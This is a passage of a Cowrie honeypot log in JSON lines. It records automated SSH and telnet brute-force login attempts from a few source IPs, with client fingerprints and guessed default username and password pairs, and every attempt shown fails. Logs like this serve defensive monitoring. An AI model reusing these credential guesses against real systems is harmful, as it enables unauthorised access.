0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:08.522734Z","src_ip":"192.109.200.237","session":"92eb2b4e4bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:08.774536Z","src_ip":"192.109.200.237","session":"92eb2b4e4bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:09.860959Z","src_ip":"192.109.200.237","session":"92eb2b4e4bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55376,"dst_ip":"159.203.135.109","dst_port":22,"session":"db03e37cb2d0","protocol":"ssh","message":"New connection: 192.109.200.237:55376 (159.203.135.109:22) [session: db03e37cb2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:11.793681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:11.805843Z","src_ip":"192.109.200.237","session":"db03e37cb2d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:11.890069Z","src_ip":"192.109.200.237","session":"db03e37cb2d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu-server","password":"123456","message":"login attempt [ubuntu-server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:12.144769Z","src_ip":"192.109.200.237","session":"db03e37cb2d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:13.233332Z","src_ip":"192.109.200.237","session":"db03e37cb2d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55390,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ec13982c439","protocol":"ssh","message":"New connection: 192.109.200.237:55390 (159.203.135.109:22) [session: 2ec13982c439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:15.166709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:15.265735Z","src_ip":"192.109.200.237","session":"2ec13982c439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:15.274262Z","src_ip":"192.109.200.237","session":"2ec13982c439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:15.631947Z","src_ip":"192.109.200.237","session":"2ec13982c439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:16.724036Z","src_ip":"192.109.200.237","session":"2ec13982c439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55398,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dd57e98b051","protocol":"ssh","message":"New connection: 192.109.200.237:55398 (159.203.135.109:22) [session: 4dd57e98b051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:18.670823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:18.677355Z","src_ip":"192.109.200.237","session":"4dd57e98b051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:18.766521Z","src_ip":"192.109.200.237","session":"4dd57e98b051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:19.013373Z","src_ip":"192.109.200.237","session":"4dd57e98b051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:20.117743Z","src_ip":"192.109.200.237","session":"4dd57e98b051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.12716293334961,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:20.880522Z","src_ip":"152.42.224.71","session":"96bef505a3f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38782,"dst_ip":"159.203.135.109","dst_port":22,"session":"0902b7b7b89a","protocol":"ssh","message":"New connection: 192.109.200.237:38782 (159.203.135.109:22) [session: 0902b7b7b89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:22.039547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:22.044465Z","src_ip":"192.109.200.237","session":"0902b7b7b89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:22.126657Z","src_ip":"192.109.200.237","session":"0902b7b7b89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:22.372758Z","src_ip":"192.109.200.237","session":"0902b7b7b89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:23.461087Z","src_ip":"192.109.200.237","session":"0902b7b7b89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00156354904175,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:23.671882Z","src_ip":"152.42.224.71","session":"57cb82ce46ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38796,"dst_ip":"159.203.135.109","dst_port":22,"session":"88fee368f361","protocol":"ssh","message":"New connection: 192.109.200.237:38796 (159.203.135.109:22) [session: 88fee368f361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:25.458251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:25.462815Z","src_ip":"192.109.200.237","session":"88fee368f361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:25.544962Z","src_ip":"192.109.200.237","session":"88fee368f361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:25.986043Z","src_ip":"192.109.200.237","session":"88fee368f361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":36412,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92bf8c885fe","protocol":"ssh","message":"New connection: 43.153.37.39:36412 (10.17.0.5:22) [session: e92bf8c885fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:26.520082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:26.524893Z","src_ip":"43.153.37.39","session":"e92bf8c885fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:26.592573Z","src_ip":"43.153.37.39","session":"e92bf8c885fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bryan","password":"bryan","message":"login attempt [bryan/bryan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:26.893346Z","src_ip":"43.153.37.39","session":"e92bf8c885fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47430,"dst_ip":"10.17.0.5","dst_port":23,"session":"a35b7dc37b85","protocol":"telnet","message":"New connection: 152.42.224.71:47430 (10.17.0.5:23) [session: a35b7dc37b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:26.971304Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:27.069693Z","src_ip":"192.109.200.237","session":"88fee368f361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:27.965497Z","src_ip":"43.153.37.39","session":"e92bf8c885fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38800,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7d712ced4ca","protocol":"ssh","message":"New connection: 192.109.200.237:38800 (159.203.135.109:22) [session: b7d712ced4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:29.009739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:29.014501Z","src_ip":"192.109.200.237","session":"b7d712ced4ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:29.098072Z","src_ip":"192.109.200.237","session":"b7d712ced4ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:29.350189Z","src_ip":"192.109.200.237","session":"b7d712ced4ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:30.462212Z","src_ip":"192.109.200.237","session":"b7d712ced4ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34368,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3caae9f5ad2","protocol":"ssh","message":"New connection: 192.109.200.237:34368 (159.203.135.109:22) [session: e3caae9f5ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:32.362185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:32.367303Z","src_ip":"192.109.200.237","session":"e3caae9f5ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:32.449667Z","src_ip":"192.109.200.237","session":"e3caae9f5ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:32.697305Z","src_ip":"192.109.200.237","session":"e3caae9f5ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:15:33.786207Z","src_ip":"192.109.200.237","session":"e3caae9f5ad2","protocol":"ssh"}
